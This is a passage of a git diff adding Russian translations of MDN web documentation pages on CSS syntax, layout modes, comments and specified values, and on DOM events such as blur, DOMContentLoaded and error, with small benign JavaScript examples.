+<p>Rulesets are the main building blocks of a style sheet, which often consists of only a big list of them. But there is other information that a Web author wants to convey in the style sheet, like the character set, other external style sheets to import, font face or list counter descriptions and many more. It will use other and specific kinds of statements to do that.</p>
+
+<p>A <strong>statement</strong> is a building block that begins with any non-space characters and ends at the first closing brace or semi-colon (outside a string, non-escaped and not included into another {}, () or [] pair).</p>
+
+<p><img alt="css syntax - statements Venn diag.png" class="default internal" src="/@api/deki/files/6168/=css_syntax_-_statements_Venn_diag.png" style="padding: 1em;"></p>
+
+<p>There are different kinds of statements:</p>
+
+<ul>
+ <li><strong>Rulesets</strong> (or <em>rules</em>) that, as seen, associate a collection of CSS declarations to a condition described by a selector.</li>
+ <li><strong>At-rules</strong> that start with an at sign, '<code>@</code>' (<code>U+0040 COMMERCIAL AT</code>), followed by an identifier and then continuing up the end of the statement, that is up to the next semi-colon (;) outside of a block, or the end of the next block. Each type of <a href="/en/CSS/At-rule" title="At-rule">at-rules</a>, defined by the identifier, may have its own internal syntax, and semantics of course. They are used to convey meta-data information (like {{ cssxref("@charset") }} or {{ cssxref("@import") }}), conditional information (like {{ cssxref("@media") }} or {{ cssxref("@document") }}), or descriptive information (like {{ cssxref("@font-face") }}).</li>
+</ul>
+
+<p>Any statement which isn't a rule or an at-rule is invalid and ignored.</p>
+
+<p><a name="nested_statements">There is another group of statements, the <strong>nested statements</strong>, these are statements that can be used in a specific subset of at-rules, the <em>conditional group rules</em>. These statements only apply if a specific condition is matched: the <code>@media</code> at-rule content is applied only if the device on which runs the browser matches the expressed condition; the <code>@document</code> at-rule content is applied only if the current page matches some conditions, and so on. In CSS1 and CSS2.1, only <em>rulesets</em> could be used inside a conditional group rules. That was very restrictive and this restriction was lifted in </a><a href="/en/CSS/CSS3#Conditionals" title="en/CSS/CSS3#Conditionals"><em>CSS Conditionals Level 3</em></a>. Now, though it still is experimental and not supported by every browser, a conditional group rules can contain a wider range of content, rulesets but also some, but not all, at-rules.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ CSS_key_concepts()}}</li>
+</ul>
diff --git a/files/ru/web/css/способ_расположения/index.html b/files/ru/web/css/способ_расположения/index.html
new file mode 100644
index 0000000000..dcf1440cb5
--- /dev/null
+++ b/files/ru/web/css/способ_расположения/index.html
@@ -0,0 +1,28 @@
+---
+title: Способ разметки
+slug: Web/CSS/Способ_расположения
+tags:
+  - CSS
+translation_of: Web/CSS/Layout_mode
+---
+<p><a href="/ru/docs/CSS" title="/ru/docs/CSS">CSS</a> <strong>способ разметки </strong>(или <em>раскладки,</em> или англ. <em>layout</em>) — это алгоритм определения позиции и размеров блоков, основанный на способе, которым они взаимодействуют с родственными блоками. Существует несколько типов разметки:</p>
+
+<ul>
+ <li><em>Обычная</em> <em>(Normal Flow)</em> — все элементы являются частью обычного потока до тех пор, пока вы не переопределите это каким-либо образом. Обычный <em>layout </em>включает в себя <em>блочную раскладку</em>, созданную для расположения отдельных блоков, таких как параграфы, и <em>линейную,</em>—<em> </em>для строчных элементов;</li>
+ <li><em><a href="/ru/docs/Web/CSS/CSS_Table">Табличная</a></em>, спроектированная для расположения таблиц;</li>
+ <li><em>Float layout </em>— для возможности обозначить элементы <em><a href="/ru/docs/CSS/float" title="/ru/docs/CSS/float">плавающими</a>. </em>Такой<em> </em>элемент начинает позиционироваться слева или справа отностительно содержимого обычного потока, элементы которого начинают обтекать него;</li>
+ <li><em><a href="/ru/docs/Web/CSS/CSS_Positioning">Позиционированная</a> </em>— для позиционирования элементов без особого взаимодействия с другими элементами;</li>
+ <li><em><a href="/ru/docs/Web/CSS/CSS_Columns">Множественные столбцы</a></em> — для расположения контента колонками, как в газетах;</li>
+ <li><em><a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout">Флексбокс</a> </em><em>(CSS Flexible Box Layout)</em> — для расположения сложных страниц, которые плавно могут изменять свой размер; {{ experimental_inline() }}</li>
+ <li><em><a href="/ru/docs/Web/CSS/CSS_Grid_Layout">Сеточная</a></em> — для расположения элементов относительно фиксированной сетки. {{ experimental_inline() }}</li>
+</ul>
+
+<div class="note">
+<p><strong>Примечание:</strong> не все <a href="/ru/docs/Web/CSS/Reference" title="/ru/docs/Web/CSS/Reference">CSS свойства</a> применимы ко всем способам разметки. Большинство из них применяются к одному или двум из них и не действуют, если применяются на элементе, участвующем в другом режиме разметки.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ CSS_key_concepts() }}</li>
+</ul>
diff --git a/files/ru/web/css/тихий/index.html b/files/ru/web/css/тихий/index.html
new file mode 100644
index 0000000000..1db7dd50b5
--- /dev/null
+++ b/files/ru/web/css/тихий/index.html
@@ -0,0 +1,50 @@
+---
+title: Комментарии
+slug: Web/CSS/Тихий
+tags:
+  - Beginner
+  - CSS
+  - CSS Reference
+  - Комментарии
+  - Новичку
+  - Руководство
+translation_of: Web/CSS/Comments
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Комментарии используются для добавления поясняющих заметок или для того, чтобы предотвратить интеграцию части кода в браузер.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">/* Комментарий */</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:css">/* Однострочный комментарий */
+
+/*
+Комментарий
+который содержит
+несколько
+строк
+*/
+</pre>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>Данный <code>/* */</code> синтаксис комментария используется для обоих вариантов, и однострочного и многострочного комментария. Нет других способов добавить комментарий во внешнюю таблицу стилей. Также, когда используется элемент &lt;style&gt;, вы можете использовать &lt;!-- --&gt;, чтобы спрятать CSS от старых браузеров, но это не рекомендуется. Как и в большинстве языков программирования, которые используют синтаксис комментариев /* */ , комментарии нельзя вкладывать друг в друга. Другими словами, данная часть синтаксиса */, которая следует за /* закрывает комментарий.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/CSS21/syndata.html#comments">CSS 2.1 Синтаксис и базовые типы данных #комментарии</a></li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/Reference">Руководство по CSS</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ru/web/css/указанное_значение/index.html b/files/ru/web/css/указанное_значение/index.html
new file mode 100644
index 0000000000..4f143afb74
--- /dev/null
+++ b/files/ru/web/css/указанное_значение/index.html
@@ -0,0 +1,43 @@
+---
+title: Указанное значение
+slug: Web/CSS/Указанное_значение
+tags:
+  - CSS
+  - CSS Reference
+translation_of: Web/CSS/specified_value
+---
+<p>{{CSSRef}}</p>
+
+<p><strong>Указанное значение</strong> CSS свойства может устанавливаться одним из 3 следующих способов.</p>
+
+<ol>
+ <li>Если в таблице стилей документа указано значение свойства, которое будет использоваться. Например, если свойство {{cssxref("color")}} устанавливается в <code>green</code>, то цвет текста соответствующего элемента становится зелёным.</li>
+ <li>Если в таблице стилей документа указано значение, которое может наследоваться от родительского элемента (если возможно). Например, у нас есть параграф ({{HTMLElement("p")}}) внутри {{HTMLElement("div")}}, а к {{HTMLElement("div")}} применено CSS свойство <code>font</code> со значением "Arial", а у {{HTMLElement("p")}} не установлено свойство <code>font</code>, то он унаследует значение шрифта "Arial".</li>
+ <li>Если не выполняется не то, не другое, начальное значение элемента применяется из CSS спецификации.</li>
+</ol>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html#specified-value", "cascaded value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/Reference">Руководство по CSS</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ru/web/events/abort/index.html b/files/ru/web/events/abort/index.html
new file mode 100644
index 0000000000..22796bf4fa
--- /dev/null
+++ b/files/ru/web/events/abort/index.html
@@ -0,0 +1,69 @@
+---
+title: abort
+slug: Web/Events/abort
+tags:
+  - Событие
+translation_of: Web/API/HTMLMediaElement/abort_event
+---
+<p>Событие "abort" вызывается когда загрузка какого-либо ресурса была прервана.</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("UIEvent")}} если событие сгенерировано из пользовательского интерфейса, иначе {{domxref("Event")}}.</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплывание</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемость</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("window")}}, {{domxref("Element")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>Цель события (самый вышележащий элемент в DOM дереве).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>Тип события.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Поднимается ли событие вверх как принято или нет.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Является ли событие отменяемым или нет?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (свойство <code>window</code>  объекта document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/events/blur/index.html b/files/ru/web/events/blur/index.html
new file mode 100644
index 0000000000..a29fa0debc
--- /dev/null
+++ b/files/ru/web/events/blur/index.html
@@ -0,0 +1,153 @@
+---
+title: blur (event)
+slug: Web/Events/blur
+tags:
+  - DOM
+  - DOM Events
+translation_of: Web/API/Element/blur_event
+---
+<p>Событие <code>blur</code> вызывается когда элемент теряет фокус. Главное отличие между этим событием и  <a href="/en-US/docs/Mozilla_event_reference/focusout"><code>focusout</code></a> только в том что у последнего есть фаза всплытия.</p>
+
+<h2 id="Основная_информация">Основная информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-blur">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("FocusEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплытие</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемый</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">Элемент</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<p>{{NoteStart}}Значение {{domxref("Document.activeElement")}} меняется в зависимости от браузера во время выполнения этого события ({{bug(452307)}}): IE10 устанавливает его к элементу на который будет перемещен фокус, в то время как Firefox и Chrome обычно устанавливают его к <code>body</code> документа{{NoteEnd}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Event target (DOM element)</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}} (DOM element)</td>
+   <td>null</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Делегирование_события">Делегирование события</h2>
+
+<p>Есть два способа реализовать делегирование этого события: использовать событие <code>focusout</code> в браузерах которые поддерживают его (все браузеры, Firefox с 52+), или установить параметр "useCapture" метода <a href="/en-US/docs/DOM/element.addEventListener"><code>addEventListener</code></a> на <code>true</code>:</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush:html;">&lt;form id="form"&gt;
+  &lt;input type="text" placeholder="text input"&gt;
+  &lt;input type="password" placeholder="password"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">var form = document.getElementById("form");
+form.addEventListener("focus", function( event ) {
+  event.target.style.background = "pink";
+}, true);
+form.addEventListener("blur", function( event ) {
+  event.target.style.background = "";
+}, true);</pre>
+
+<p>{{EmbedLiveSample('Event_delegation')}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>6</td>
+   <td>12.1</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>53</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0</td>
+   <td>12.1</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] В Gecko до 24 {{geckoRelease(24)}} интефейс для этого события был {{domxref("Event")}}, не {{domxref("FocusEvent")}}. Смотреть ({{bug(855741)}}).</p>
+
+<h2 id="Похожие_события">Похожие события</h2>
+
+<ul>
+ <li>{{event("focus")}}</li>
+ <li>{{event("blur")}}</li>
+ <li>{{event("focusin")}}</li>
+ <li>{{event("focusout")}}</li>
+</ul>
diff --git a/files/ru/web/events/domcontentloaded/index.html b/files/ru/web/events/domcontentloaded/index.html
new file mode 100644
index 0000000000..7702dcfd24
--- /dev/null
+++ b/files/ru/web/events/domcontentloaded/index.html
@@ -0,0 +1,146 @@
+---
+title: DOMContentLoaded
+slug: Web/Events/DOMContentLoaded
+tags:
+  - события
+translation_of: Web/API/Window/DOMContentLoaded_event
+---
+<p><code><font face="Open Sans, Arial, sans-serif">Событие </font>DOMContentLoaded</code> происходит когда весь HTML был полностью загружен и пройден парсером, не дожидаясь окончания загрузки таблиц стилей, изображений и фреймов. Значительно отличающееся от него событие <a href="/en-US/docs/Mozilla_event_reference/load"><code>load</code></a> используется для отслеживания только полностью загруженной страницы. Широко распространённой ошибкой является использование <a href="/en-US/docs/Mozilla_event_reference/load"><code>load</code></a> в ситуации когда <code>DOMContentLoaded</code> является более подходящим, будьте внимательны.</p>
+
+<p>{{Note("Синхронный JavaScript останавливает парсинг DOM.")}}</p>
+
+<p>{{Note("Существуют различные библиотеки, как общего назначения так и специализированные, предлагающие кросс-браузерные методы, позволяющие определить, что DOM готов к использованию.")}}</p>
+
+<h2 id="Ускорение_работы">Ускорение работы</h2>
+
+<p>Если вы хотите чтобы DOM был пройден парсером насколько возможно быстро, сразу после запроса пользователем страницы, вы можете попробовать выполнять <a href="/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests">JavaScript асинхронно </a>и <a href="https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery">оптимизировать загрузку таблиц стилей</a> которые обычно замедляют загрузку документа поскольку загружаясь одновременно "крадут" трафик у основного документа.</p>
+
+<h2 id="Основная_информация">Основная информация</h2>
+
+<dl>
+ <dt style="width: 120px; text-align: right; float: left;">Спецификация</dt>
+ <dd style="margin: 0px 0px 0px 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-end.html#the-end">HTML5</a></dd>
+ <dt style="width: 120px; text-align: right; float: left;">Интерфейс </dt>
+ <dd style="margin: 0px 0px 0px 120px;">Event</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Всплывает</dt>
+ <dd style="margin: 0px 0px 0px 120px;">Да</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Отменяемое</dt>
+ <dd style="margin: 0px 0px 0px 120px;">Да (несмотря на то, что в спецификации указано как простое событие, которое не является отменяемым)</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Цель </dt>
+ <dd style="margin: 0px 0px 0px 120px;">Document</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Default Action</dt>
+ <dd style="margin: 0px 0px 0px 120px;">Нет.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Тип события.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Возможно ли отменить событие.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<pre>&lt;script&gt;
+  document.addEventListener("DOMContentLoaded", function(event) {
+    console.log("DOM fully loaded and parsed");
+  });
+&lt;/script&gt;
+</pre>
+
+<pre>&lt;script&gt;
+  document.addEventListener("DOMContentLoaded", function(event) {
+    console.log("DOM fully loaded and parsed");
+  });
+
+for(var i=0; i&lt;1000000000; i++)
+{} // this synchronous script is going to delay parsing of the DOM. So the DOMContentLoaded event is going to launch later.
+&lt;/script&gt;
+</pre>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("1")}}<sup>[1]</sup></td>
+   <td>9.0<sup>[2]</sup></td>
+   <td>9.0</td>
+   <td>3.1<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoMobile("1")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Всплытие для этого события поддерживается как минимум с версий Gecko 1.9.2, Chrome 6, и Safari 4.</p>
+
+<p>[2] Internet Explorer 8 поддерживает событие <code>readystatechange</code>, которое можно использовать для определения готовности DOM. В более ранних версиях Internet Explorer,это событие можно определить циклическим выполнением <code>document.documentElement.doScroll("left");</code>, это событие будет выбрасывать ошибку если DOM не готов.</p>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li>{{event("DOMContentLoaded")}}</li>
+ <li>{{event("readystatechange")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("beforeunload")}}</li>
+ <li>{{event("unload")}}</li>
+</ul>
diff --git a/files/ru/web/events/dommodaldialogclosed/index.html b/files/ru/web/events/dommodaldialogclosed/index.html
new file mode 100644
index 0000000000..67b480544b
--- /dev/null
+++ b/files/ru/web/events/dommodaldialogclosed/index.html
@@ -0,0 +1,63 @@
+---
+title: DOMModalDialogClosed
+slug: Web/Events/DOMModalDialogClosed
+translation_of: Archive/Add-ons/Events/DOMModalDialogClosed
+---
+<p>The <code>DOMModalDialogClosed</code> event is executed when a modal dialog has been closed.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><em>Addons specific</em></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">window, <a href="/en-US/docs/XUL/browser">browser</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Listening_to_events_in_Firefox_extensions" title="/en-US/docs/Listening_to_events_in_Firefox_extensions">Listening to events in Firefox extensions</a></li>
+</ul>
diff --git a/files/ru/web/events/domsubtreemodified/index.html b/files/ru/web/events/domsubtreemodified/index.html
new file mode 100644
index 0000000000..dfd00fe94d
--- /dev/null
+++ b/files/ru/web/events/domsubtreemodified/index.html
@@ -0,0 +1,21 @@
+---
+title: DOMSubtreeModified
+slug: Web/Events/DOMSubtreeModified
+tags:
+  - DOMSubtreeModified
+translation_of: Archive/Events/DOMSubtreeModified
+---
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Следующий код отображает время последнего изменения DOM в строке заголовка страницы.</p>
+
+<div class="warning">
+<p>Это событие устарело в пользу  <a href="/en-US/docs/Web/API/MutationObserver">Mutation Observer API</a></p>
+</div>
+
+<div class="warning">Будьте очень осторожны с этим событием, легко вызвать бесконечный цикл, если вы решите изменить DOM внутри обработчика событий.</div>
+
+<pre class="brush: js">document.body.addEventListener('DOMSubtreeModified', function () {
+  document.title = 'DOM Изменен в ' + new Date();
+}, false);
+</pre>
diff --git a/files/ru/web/events/error/index.html b/files/ru/web/events/error/index.html
new file mode 100644
index 0000000000..787fb9a4fa
--- /dev/null
+++ b/files/ru/web/events/error/index.html
@@ -0,0 +1,95 @@
+---
+title: error
+slug: Web/Events/error
+tags:
+  - DOM
+  - UI события
+  - Видео
+  - Запись
+  - Медия
+  - Обработка ошибок
+  - Ошибки
+  - Событие
+  - аудио
+  - события
+translation_of: Web/API/Element/error_event
+---
+<p>Событие <code>error</code> возникает, когда произошла какая-либо ошибка. Точные обстоятельства могут быть различными, потому что события с этим именем используются множеством различных API.</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("UIEvent")}} если создается элементом пользовательского интерфейса, {{domxref("MediaRecorderErrorEvent")}} если генерируется API записи MediaStream, и {{domxref("Event")}} иначе.</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Вплывающее</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">Элемент</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>Цель события (наиболее верхлежащий элемент в DOM дереве).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>Тип события.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Является ли событие вплывающим в стандартных условиях или нет.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Является ли событие отменяемым или нет.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
